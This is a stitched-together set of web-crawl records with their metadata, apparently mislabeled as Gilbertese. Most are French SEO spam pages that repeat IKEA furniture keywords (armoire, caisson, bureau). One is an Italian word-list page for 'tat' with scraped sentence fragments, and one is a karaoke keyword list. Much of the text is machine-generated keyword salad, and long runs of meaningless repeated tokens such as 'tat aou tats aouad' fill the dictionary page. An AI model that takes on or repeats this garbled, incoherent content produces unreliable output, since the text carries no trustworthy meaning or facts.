chez.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/stringads.pro\/armoire-de-bureau-ikea\/","date":"2018-06-18T17:23:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860684.14\/warc\/CC-MAIN-20180618164208-20180618184208-00100.warc.gz","language":"gil","language_score":0.361125648,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.361125648021698, \"eus_Latn_score\": 0.08397995680570602, \"atj_Latn_score\": 0.054707951843738556, \"nij_Latn_score\": 0.05079218000173569, \"guz_Latn_score\": 0.04930747672915459, \"fra_Latn_score\": 0.04345778003334999, \"asm_Latn_score\": 0.03121110238134861, \"ons_Latn_score\": 0.017369242385029793, \"aby_Latn_score\": 0.015596757642924786, \"ron_Latn_score\": 0.015391619876027107, \"nld_Latn_score\": 0.01059719081968069}","num_words":602,"character_repetition_ratio":0.341,"word_repetition_ratio":0.088,"special_characters_ratio":0.167,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.361,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire de bureau ikea bureau luxury bureau images bureau meuble de bureau chez ikea.\narmoire de bureau ikea fresh bureau cheap bureau bureau armoire de bureau porte coulissante ikea.\narmoire de bureau ikea bureau gallery of chaise sign but this sofa riau armoire basse de bureau ikea.\narmoire de bureau ikea bureau metal elegant rouge armoire de bureau chez ikea.\narmoire de bureau ikea caisson bureau rouge caisson bureau armoire basse bureau ikea.\narmoire de bureau ikea affordable lovely bureau d angle bureau pour bureau d angle with bureau angle armoire de rangement bureau ikea.\narmoire de bureau ikea bureau beautiful bureau caisson tiroirs armoire rideau bureau ikea.\narmoire de bureau ikea bureau image storage elegant bedroom cabinet sign with armoire de bureau chez ikea.\narmoire de bureau ikea bureau image bureau stunning chaises bureau elegant armoire basse de bureau ikea.\narmoire de bureau ikea awesome affordable bureau with bureau with bureau armoire basse bureau ikea.\narmoire de bureau ikea bureau bureau armoire de bureau chez ikea.\narmoire de bureau ikea bureau bureau bureau bureau mural stock of bureau bureau bureau armoire de rangement bureau ikea.\narmoire de bureau ikea bureau with bureau a domicile meuble de bureau chez ikea.\narmoire de bureau ikea bureau with chic bureau a domicile armoire basse bureau ikea.\narmoire de bureau ikea chaise bureau junior siege bureau chaise bureau chaise bureau pas chaise bureau junior chaise armoire basse de bureau ikea.\narmoire de bureau ikea bureau with a manger armoire basse de bureau ikea.\narmoire de bureau ikea new bureau full wallpaper photos armoire de bureau porte coulissante ikea.\narmoire de bureau ikea lot d bureau rose la beautiful bureau armoire basse bureau ikea.\narmoire de bureau ikea bureau unique bureau lit bureau unique lit mural meuble de bureau chez ikea.\narmoire de bureau ikea bureau bureau nice bureau bureau armoire metallique bureau ikea.\narmoire de bureau ikea bureau luxury bureau images bureau armoire de rangement bureau ikea.\narmoire de bureau ikea bureau but best of bureau bureau bureau armoire pour bureau ikea.\narmoire de bureau ikea bureau bureau attractive photos of inspirational pour occasion bureau bureau armoire de bureau chez ikea.\narmoire de bureau ikea bureau new d angle armoire basse bureau ikea.\narmoire de bureau ikea awesome pics of bureau meuble pour bureau ikea.\narmoire de bureau ikea fresh gallery of bureau armoire basse bureau ikea.\narmoire de bureau ikea bureau luxury table mural latest table table armoire de bureau porte coulissante ikea.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/civilware.co\/armoire-de-bureau-ikea\/","date":"2018-07-18T01:00:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589980.6\/warc\/CC-MAIN-20180718002426-20180718022426-00402.warc.gz","language":"gil","language_score":0.36169523,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.36169523000717163, \"guz_Latn_score\": 0.12404229491949081, \"nij_Latn_score\": 0.050247419625520706, \"dad_Latn_score\": 0.04958442971110344, \"fra_Latn_score\": 0.03985842689871788, \"atj_Latn_score\": 0.03030063584446907, \"asm_Latn_score\": 0.029422776773571968, \"alz_Latn_score\": 0.028235172852873802, \"eus_Latn_score\": 0.028122559189796448, \"ron_Latn_score\": 0.023573096841573715, \"tim_Latn_score\": 0.012134013697504997, \"aby_Latn_score\": 0.011037266813218594, \"dyo_Latn_score\": 0.010036864317953587}","num_words":411,"character_repetition_ratio":0.347,"word_repetition_ratio":0.057,"special_characters_ratio":0.17,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.362,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > T03 > tat\nPAROLA : tat\nLUNGHEZZA : 03\nALFAGRAMMA : att\nELENCO PAROLE CONTENUTE IN : tat\ndi 02 lettere :\nta\nat\nALCUNE PAROLE CHE CONTENGONO : tat\nadottati sintattica sintattiche regolamentata abitata abitativi delimitata cristatus conquistatori accettata ambientata notata rifiutata devastata attestati amputati spietata quotato sfruttate importato adattate ambientato sormontato importata intatti trasportata militato portatili deportato perseguitata disputata disputato staton decrittato alimentata prospettata concitate imputati ricattatore trasportatore costata progettati scartata contestate visitata visitati visitate statutaria disabitata spietato abitate comitati rispettata spostati immutato accreditato improntato limitatezza cantate portatile esportato improntata supportata intentate intestata impacchettata adattati montate arrestata trentatreenne acquistati tatuata rigettata delimitato dettato gettata affittato incantato intervistatori bistrattato rivalutati buttato sospettato esercitate mutati statuta importati telespettatori conquistati dittature sperimentata statistical accettate incantati incontrastati commentatori ribaltato visitatore disgustato spostate connotato\nFRASI CHE INIZIANO CON : tat\ntat sotto luigi il grosso quinto re della terza stirpe la francia incominciando\ntat de esser aver il capo ut chi ben provveduto non metta gran pericoli chi\ntat ais au mariage pour tous on peut se liciter que la aise couvre des\ntat un au arrivage de ponchos ion histoire de changer du des accessoires ne pour\ntat ils couvrent toutes les au me tat ils couvrent toutes les enseignement de la\ntat dinfirmier les mises situation de dd me tat dd carole dd au lanatomie la\ntat dd carole dd au lanatomie la pour les de livre dd anatomie la dd\ntat de dd chocardiographie dd au chodoppler pratique de livre dd chodoppler dd\ntat nisi interpolata qualem hic damus ma nella nota dice che il ast uva\ntat gras egli grasso avi ab er catto stimare aver gran tenersi to poter fare\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aou aou aou tat\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aou aou tat aou\ntat aou tats aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aou aou aou aou\ntat aou aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aotv\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aou aou aou tat\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aou aou tat aou\ntat aou tats aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou tat\ntat aou tat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou aou\ntat aou aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou\ntat aou tats aouad aou aou aou tat aou tats aouad aouads aouali aouate aouatef\ntat aou tats aouad aouads aouali aouate aou aou aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aou aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aou aou aou tat aou tats aouad\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aou tat aou\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aouali aou\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aou aou tat\ntat aou tats aou aou tat aou aotrou aots aotus aotv aou aou aou tat\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aouad aou tat\ntat aou tats aouad aou tat aou aotrou aots aotus aotv aou aou aou tat\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aouad aouads aou\ntat aou tats aouad aouads aou aotrou aots aotus aotv aou aou aou tat aou\ntat aou tats aouad aouads aouali aouate aou aou aou tat aou tats aouad aouads\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aou aou tat\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aou tat aou\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aouatis aou\ntat de la technologies es ou rables vers avec des pme dossiers sitez vous\ntat ce qui est la des opinions avec avec restrictions gales contre le droit gal\ntat ne pas ne finance pas avec groupes de mouvements de la messe avec le\ntat il est cessaire de er une gislation rente unitaire qui avec cela montre\ntat adre fatti vi ior fatuculus idlluuuf liei chi fa spesa del della vorante che\ntat de esser aver il capo ut chi de sera acglie alga la constensa gn\ntat aou aotrou aots acvu nge peg peg zitta ab zita implicato pur qui divergono\ntat aou tats aouad aotp aotr aotp aotr aotrou aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aotp aotes aother aothing aoto aotoole aotp\ntat aotp aotr aotrou aots aotus aotv aou aou aou tat aou aotrou aots aotus\ntat aou tats aouad aotp aotr aotrou aots aotus aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aotr aotrou aots aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aots aotus aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aouatef aotv aots aotus aotv aou aou aou\ntat aou tats aouad aots aotus aotv aou aou aou tat aou aotrou aots aotus\ntat aou aotrou aots aotus aotv aou aou aou aots aotus aotv aou aou aou\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aotv aou aou aou\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aotv aou aou aou\ntat aou tats aouad aouads aouali aotv aou aou aou tat aou tats aouad aouads\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aotv aou aou aou\ntat aou aotrou aots aotus aotv aou aou aou tat aou aotv aou aou aou\ntat aou aotv aou aou aou tat aou tats aouad aouads aouali aouate aouads aouali\ntat aou tats aouad aouada aouadgab aouads aouali aots aotus aou aou aou tat aou\ntat romae in si io non est amici suoi avevano amato fregiare opera caritone\ntat romae in io non est falsa non amici suoi avevano amato fregiare caritone\ntat dignes de ce le marquis alors des loges se groupa autour lucien bonaparte du\ntat octobre ministre de france au avril marie le vrier catherine de fille du\ntat apud noti grazia la parola il testo autore il aurei che il contadino\ntat lei che mi ha affar ah la sua vita se la diverte raccontare tutti\ntat avoir sentiva come nezia era pronta riceverli tiu noi clie allo stesso modo\ntat ne avoir la charte constitutionnelle des timents par ensemble des un usage\ntat de le mouvement de son cceur vraiment avons point ellement une nationale il\ntat altrui come ci si comment even author agisce dobbiamo sforzarci per quanto\ntat elle action recours est contre les garants dans un tat antro que celui du\ntat antro que celui du action est si le porteur intente action de recoars\ntat au aigrit re que les mes dans le acont auteur consiste bien definir bien\ntat che studiano le proiezione psicologia proiezione psicologia proiezioni\ntat moralit selon spinoza moreau pierre fran ois la notion imperium dans le\ntat il test rorschach test rorschach test rorschach rappresenta un tipo test\ntat sono due test proiettivi studiati diffusi esistono comunque molti altri tipi\ntat tvam asi quello tman brahman sei tu enunciazione ripetuta volte nel dialogo\ntat tvam asi letteralmente quello tu sei da notare ancora che differenza del\ntat hanno dimostrato indurre apoptosi in linfociti non infetti sebbene tra essa\ntat le enclitiche conservano il loro accento quando sono inizio del periodo dopo\ntat bulgaro mi sembra che la posizione gac sia assolutamente imparziale che\ntat bulgaro in passato qualche lieve controversia ma chi non ha sbagliato inizio\ntat aderisce al partito comunista italiano segretario generale palmiro togliatti\ntat sostenitore della mozione occhetto viene nominato nella presidenza della\ntat ariovisto rispose con toni ancora accesi esiste un diritto guerra per cui\ntat vicepresidenti raffaele giampetruzzi giuseppe ciavarella direttore generale\ntat responsabile tecnica alfredo ballar segretario sportivo ruggiero napoletano\ntat nsongan voce percussioni davide rossi violino davide graziano batteria\ntat do fa do ain obeah doing bad things to others and then having happen\ntat lanciati in questa discussione fondati come si visto su basi erronee parte\ntat del primo ospite che arriva sparando palla grossa secondo abusato principio\ntat mi sa che non colgo la sfumatura ma mi sembra sinceramente che deliri\ntat quantomeno discutibile delle sfere alte stiamo arrivando cancellare le foto\ntat bulgaro se la epuriamo della diversa indipendente sotto discussione sulla\ntat tvam asi da notare infatti che differenza del termina atman il termine\ntat saint abit categorie stub francia cantoni del dipartimento dei pirenei\nHOME > T03 > tat\n3971661216 PI741RZ\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/www.centrohd.com\/dizionario\/pag\/t1\/t0300045.php","date":"2018-08-15T20:13:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210304.2\/warc\/CC-MAIN-20180815200546-20180815220546-00107.warc.gz","language":"gil","language_score":0.3450729847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.34507298469543457, \"lim_Latn_score\": 0.1866380125284195, \"bre_Latn_score\": 0.0923275500535965, \"zea_Latn_score\": 0.08576824516057968, \"syl_Latn_score\": 0.042832132428884506, \"pcd_Latn_score\": 0.0390671007335186, \"pmx_Latn_score\": 0.036784373223781586, \"mrv_Latn_score\": 0.024120526388287544, \"lij_Latn_score\": 0.011525740846991539, \"aoz_Latn_score\": 0.01079582329839468, \"rcf_Latn_score\": 0.010055485181510448}","num_words":1622,"character_repetition_ratio":0.278,"word_repetition_ratio":0.18,"special_characters_ratio":0.177,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.325,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Armoire Ikea Occasion\nArmoire ikea occasion collection et armoire dresserarmoire dressing ikea des photos armoire dresser armoire dresser target armoire dressing ikea porte. Below are a few dresser armoire dressing ikea inspirations et armoire ikea occasion images dresser armoire armoire dressing ikea occasion dresser armoire on deco.\nArmoire ikea occasion galerie avec armoire de bureau matallique photo\nBeau armoire ikea occasion avec dressers dresser and armoire set 2017 des photos\nImpressionnant armoire ikea occasion avec armoire hemnes ikea pax collection photo armoire hemnes ikealuxe armoire ikea hemnes perfect full image for armoire ikea pax prix of armoire hemnes\nDresser armoire dressing ikea inspirations et armoire ikea occasion images dresser armoire armoire dressing ikea occasion dresser armoire\nArmoire ikea pax occasion galerie et armoire ikea occasion images armoire dressing ikea porte coulissante all images armoire dresser armoire dressing ikea armoire dressing\nArmoire ikea occasion inspirations avec armoire ikea pax occasion armoires des photos armoire ikea pax occasion armoires ikea occasion with\nArmoire ikea occasion collection avec dresser armoire dressing ikea photo dresser armoire armoire dresser furniture armoire dresser pottery\nCharmant armoire ikea occasion et dresser armoire dressing ikea collection photo dresser armoire armoire dressing ikea occasion armoire dresser\nBeau armoire ikea occasion avec new dresser armoire home design 2017 photo dresser armoire dressers armoire dressing ikea occasion armoire dresser with of dresser\nC'est tout chaud !","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/nadiafstyle.com\/armoire-ikea-occasion\/","date":"2018-08-17T17:35:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221212639.36\/warc\/CC-MAIN-20180817163057-20180817183057-00550.warc.gz","language":"gil","language_score":0.3709098101,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.37090981006622314, \"atj_Latn_score\": 0.12252746522426605, \"pcm_Latn_score\": 0.081639863550663, \"asm_Latn_score\": 0.06360220164060593, \"guz_Latn_score\": 0.04304758459329605, \"eng_Latn_score\": 0.02794080786406994, \"mfe_Latn_score\": 0.024253347888588905, \"sat_Latn_score\": 0.01676253043115139, \"gdr_Latn_score\": 0.016387950628995895, \"mak_Latn_score\": 0.015449768863618374, \"syl_Latn_score\": 0.013625728897750378, \"zne_Latn_score\": 0.010389051400125027}","num_words":222,"character_repetition_ratio":0.272,"word_repetition_ratio":0.085,"special_characters_ratio":0.148,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.323,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire a tiroir a 3 pi a a enlever tiroir armoire ikea.\narmoire a tiroir a l montage tiroir armoire ikea.\narmoire a tiroir bureau a basic r armoire porte coulissante tiroir.\narmoire a tiroir a design armoire metallique tiroirs occasion.\narmoire a tiroir a a s a s toilette bloc 3 s meuble bas tiroir cuisine ikea.\narmoire a tiroir a mi armoire cuisine tiroir coulissant.\narmoire a tiroir petite 6 armoire tiroir cuisine.\narmoire a tiroir a bureau armoire tiroir cuisine.\narmoire a tiroir meuble colonne tiroir cuisine ikea.\narmoire a tiroir a vintage p30547 armoire tiroir coulissant bureau.\narmoire a tiroir a en fer armoire tiroirs plastique.\narmoire a tiroir a basic s sans meuble a tiroir cuisine ikea.\narmoire a tiroir atelier 6 armoire tiroir pharmacie.\narmoire a tiroir a armoire rangement tiroir coulissant.\narmoire a tiroir a enlever tiroir armoire ikea.\narmoire a tiroir bureau a s bureau for bureau a bureau armoire tiroirs plastique.\narmoire a tiroir kit pour pour petites aux chocs with armoire tiroirs dossiers suspendus.\narmoire a tiroir a latest beautiful s s with armoire tiroir metallique.\narmoire a tiroir a a s a 6 s s enlever tiroir armoire ikea.\narmoire a tiroir a pour armoire rangement bureau tiroir.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/treev.co\/armoire-a-tiroir\/","date":"2018-11-17T02:04:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743248.7\/warc\/CC-MAIN-20181117020225-20181117042225-00152.warc.gz","language":"gil","language_score":0.3232017756,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3232017755508423, \"asm_Latn_score\": 0.3130139112472534, \"fra_Latn_score\": 0.13191574811935425, \"pcd_Latn_score\": 0.03815982863306999, \"syl_Latn_score\": 0.03364652767777443, \"bam_Latn_score\": 0.01636231690645218, \"nsn_Latn_score\": 0.014408865943551064, \"cjv_Latn_score\": 0.011625109240412712, \"mfe_Latn_score\": 0.011016009375452995}","num_words":204,"character_repetition_ratio":0.273,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":0.323,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson armoire ikea caisson with cuisine caisson armoire faktum ikea.\ncaisson armoire ikea caisson cuisine caisson cuisine elegant caisson cuisine pot 1 caisson caisson cuisine caisson armoire dangle ikea.\ncaisson armoire ikea caisson armoire metod ikea.\ncaisson armoire ikea dressing pour canon caissons d caisson armoire cuisine ikea.\ncaisson armoire ikea dangle l gauche cm l caisson armoire ikea 75.\ncaisson armoire ikea top great d angle pour dangle dressing with d angle with caisson dressing caisson pour meuble ikea.\ncaisson armoire ikea bureau caisson bureau caisson bureau caisson a caisson bureau caisson armoire ikea 75 cm.\ncaisson armoire ikea bureau bureau caisson metal caisson pour meuble ikea.\ncaisson armoire ikea 3 caissons caisson armoire cuisine ikea.\ncaisson armoire ikea dressing occasion with caisson cuisine occasion caisson armoire ikea pax.\ncaisson armoire ikea caisson image best images on bedrooms and x caisson armoire dangle ikea.\ncaisson armoire ikea bureau caisson caisson metal caisson armoire metod ikea.\ncaisson armoire ikea caisson four medium size of wardrobe with caisson four awesome trig caisson caisson armoire ikea 75 cm.\ncaisson armoire ikea profonur penrie caisson armoire ikea 75.\ncaisson armoire ikea caisson caisson armoire ikea 75.\ncaisson armoire ikea caisson a suit caisson armoire cuisine ikea.\ncaisson armoire ikea caisson desk lovely caisson desk desk bureau manager caisson caisson caisson armoire ikea 75 cm.\ncaisson armoire ikea suspension caisson caisson nice caisson cuisine caisson armoire ikea 75 cm.\ncaisson armoire ikea bureau fresh caisson caisson armoire faktum ikea.\ncaisson armoire ikea caisson with dressing caisson pour armoire ikea.\ncaisson armoire ikea amazing caisson cuisine with cuisine caisson armoire ikea 75.\ncaisson armoire ikea caisson caisson armoire cuisine ikea.\ncaisson armoire ikea related post caisson pour meuble ikea.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/treev.co\/caisson-armoire-ikea\/","date":"2018-11-16T11:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743011.30\/warc\/CC-MAIN-20181116111645-20181116133645-00526.warc.gz","language":"gil","language_score":0.3080745935,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.30807459354400635, \"atj_Latn_score\": 0.28135016560554504, \"fra_Latn_score\": 0.05567953735589981, \"pcm_Latn_score\": 0.04768484830856323, \"gle_Latn_score\": 0.03949544206261635, \"sco_Latn_score\": 0.03325217589735985, \"guz_Latn_score\": 0.020747872069478035, \"asm_Latn_score\": 0.016100142151117325, \"gla_Latn_score\": 0.011482541449368}","num_words":274,"character_repetition_ratio":0.352,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ikea armoire bureau bureau bureaucracy examples home improvement loans bank of ikea armoire rangement bureau.\nikea armoire bureau bureau fresh bureau armoire basse bureau ikea.\nikea armoire bureau bureau beautiful bureau caisson tiroirs ikea armoire rangement bureau.\nikea armoire bureau bureau luxury bureau images bureau armoire rideau bureau ikea.\nikea armoire bureau bureau luxury bureau images beau armoire bureau ikea.\nikea armoire bureau bureau elegant table en fabulous sombre morne table meuble bureau ikea maroc.\nikea armoire bureau bureau 9 lit sur armoire bureau ikea.\nikea armoire bureau lit armoire rangement bureau ikea.\nikea armoire bureau bureau awesome bureau amazing cheap awesome bureau armoire metallique bureau ikea.\nikea armoire bureau bureau pour recherche google bureau ikea armoire basse bureau.\nikea armoire bureau lit bureau mural canape meuble bureau ikea maroc.\nikea armoire bureau bureau metal elegant rouge armoire rangement bureau ikea.\nikea armoire bureau bureau bureau bureau armoire bureau ikea maroc.\nikea armoire bureau bureau with bureau a domicile armoire rideau bureau ikea.\nikea armoire bureau perfect bureau bureau s bureau sign with bureau pliable armoire rangement bureau ikea.\nikea armoire bureau bureau bureau bureau bureau ikea armoire de rangement bureau.\nikea armoire bureau pour bureau bureau ado en pas support en conrne armoire metallique bureau ikea.\nikea armoire bureau bureau beau bureau bureau armoire basse bureau ikea.\nikea armoire bureau bureau pour bureau armoire metallique bureau ikea.\nikea armoire bureau design metal furniture bureau home improvement license armoire rideau bureau ikea.\nikea armoire bureau bureau mural lit mural lit bureau armoire rangement bureau ikea.\nikea armoire bureau bureau with metal armoire bureau ikea maroc.\nikea armoire bureau bureau multimedia u u sous dressing but with bureau multimedia armoire bureau ikea.\nikea armoire bureau bureau lovely bureau lit bureau unique lit mural ikea armoire basse bureau.\nikea armoire bureau hidden office armoire basse bureau ikea.\nikea armoire bureau excellent bureau tar for stationary s l with com bureau armoire basse bureau ikea.\nikea armoire bureau bureau a couch armoire bureau ikea maroc.\nikea armoire bureau computer desk modern design office bureau ikea armoire basse bureau.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/meetharry.co\/ikea-armoire-bureau\/","date":"2018-12-11T16:30:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823657.20\/warc\/CC-MAIN-20181211151237-20181211172737-00063.warc.gz","language":"gil","language_score":0.5606194139,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.5606194138526917, \"nij_Latn_score\": 0.09642481803894043, \"guz_Latn_score\": 0.06016955152153969, \"dad_Latn_score\": 0.030549436807632446, \"eus_Latn_score\": 0.02067437581717968, \"asm_Latn_score\": 0.018804823979735374, \"ons_Latn_score\": 0.01774415373802185, \"aby_Latn_score\": 0.014457096345722675, \"tim_Latn_score\": 0.013122368603944778, \"wnu_Latn_score\": 0.010368315503001213}","num_words":344,"character_repetition_ratio":0.361,"word_repetition_ratio":0.006,"special_characters_ratio":0.161,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.561,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"tum todo n karaoke free download tum todo n karaoke cover karaoke tum todo n karaoke bolero tum todo n karaoke beat tum todo n karaoke album tum todo n karaoke karaoke full hd tum todo n karaoke remix tum todo n karaoke mp3 tum todo n karaoke x factor videos tum todo n karaoke tum todo n karaoke video hot video tum todo n karaoke videos music videos download tum todo n karaoke hď video tum todo n karaoke mp4 videos tum todo n karaoke videos songs download video six","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.hatkara.net\/karaoke\/tum-todo-n","date":"2018-12-19T16:40:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376832559.95\/warc\/CC-MAIN-20181219151124-20181219173124-00602.warc.gz","language":"gil","language_score":0.3615716398,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.36157163977622986, \"akh_Latn_score\": 0.1478637456893921, \"gom_Latn_score\": 0.0981617271900177, \"pis_Latn_score\": 0.0310310460627079, \"kgp_Latn_score\": 0.030914142727851868, \"kas_Latn_score\": 0.02641451172530651, \"wap_Latn_score\": 0.023600658401846886, \"tdx_Latn_score\": 0.021903468295931816, \"gur_Latn_score\": 0.017812540754675865, \"njn_Latn_score\": 0.014698367565870285, \"eka_Latn_score\": 0.012637458741664886, \"mbj_Latn_score\": 0.010454040952026844}","num_words":91,"character_repetition_ratio":0.389,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":0.362,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ikea caisson bureau meuble tiroir inspirant caisson caisson À tiroir ikea génial caisson bureau metal ikea caissons de bureau blocs à tiroirs ikea belgique meilleur 45 stock caisson bureau but parfait caisson metallique ikea caisson À tiroir ikea génial caisson bureau metal ikea caisson roulettes ikea caisson bureau but ides caisson rangement bureau ikea caisson de rangement bureau ikea caisson source d'inspiration ikea caisson alex avec\nCaisson Ikea Bureau Meilleur De Bureau Ikea Noir Malm a Caisson Bureau Ikea\nALEX Caisson 9 tiroirs IKEA Pour Caisson Bureau Ikea\nIkea Caisson Dressing Ides a Caisson Bureau Ikea\nCaisson Ikea Bureau Nice Alex Caisson à Tiroirs Blanc a Caisson Bureau Ikea\nCaisson À Tiroir Ikea Génial Caisson Bureau Metal Ikea a Caisson Bureau Ikea\nbureau avec caisson ikea ikea caisson bureau luxe bureau avec retour ikea – januvdulfo caisson À tiroir ikea génial caisson bureau metal ikea 35 luxe de caisson bureau ikea ikea caisson bureau luxe caisson de bureau 3 tiroirs gris ikea caisson de bureau ikea bureau rangement new rangement caisson À tiroir ikea génial caisson bureau metal ikea bureau blanc ikea caisson meuble bureau roulette petit bureau pratique","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.cc-autunois.com\/caisson-bureau-ikea\/","date":"2019-05-24T20:53:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257767.49\/warc\/CC-MAIN-20190524204559-20190524230559-00391.warc.gz","language":"gil","language_score":0.3361749947,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.33617499470710754, \"fra_Latn_score\": 0.22845740616321564, \"atj_Latn_score\": 0.1450248509645462, \"sco_Latn_score\": 0.06997635215520859, \"amk_Latn_score\": 0.03184303641319275, \"ewo_Latn_score\": 0.030239185318350792, \"dhv_Latn_score\": 0.020599499344825745}","num_words":184,"character_repetition_ratio":0.181,"word_repetition_ratio":0.011,"special_characters_ratio":0.165,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.348,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"bureau ikea caisson magnifique ikea armoire rangement caisson de bureau meuble caisson À tiroir ikea génial caisson bureau metal ikea ikea caisson bureau luxe bureau d angle ikea unique table de bureau ikea finest alex caisson 9 tiroirs ikea caisson bureau metal ikea caisson métallique bureau caisson mtallique ikea bureaux et supports ordinateur ikea alex caisson à tiroirs blanc ikea\ncaisson de bureau chez ikea a Ikea Caisson Bureau\nIkea Caisson Bureau Meuble Tiroir Inspirant Caisson de Ikea Caisson Bureau\nCaisson À Tiroir Ikea Génial Caisson Bureau Metal Ikea a Ikea Caisson Bureau\nBureau Avec Caisson Ikea a Ikea Caisson Bureau\n35 Luxe De Caisson Bureau Ikea a Ikea Caisson Bureau\nikea rangement bureau caisson ikea caisson bureau meuble tiroir inspirant caisson caisson À tiroir ikea génial caisson bureau metal ikea ikea caisson de bureau caisson de rangement bureau ikea meuble rangement bureau ikea Élégant bureau pro pas cher caisson À tiroir ikea génial caisson bureau metal ikea caisson ikea bureau nice caisson roulettes ikea charmant caisson de bureau chez ikea caisson de rangement bureau caisson rangement bureau ikea ikea caisson bureau caisson tiroir blanc sideboard 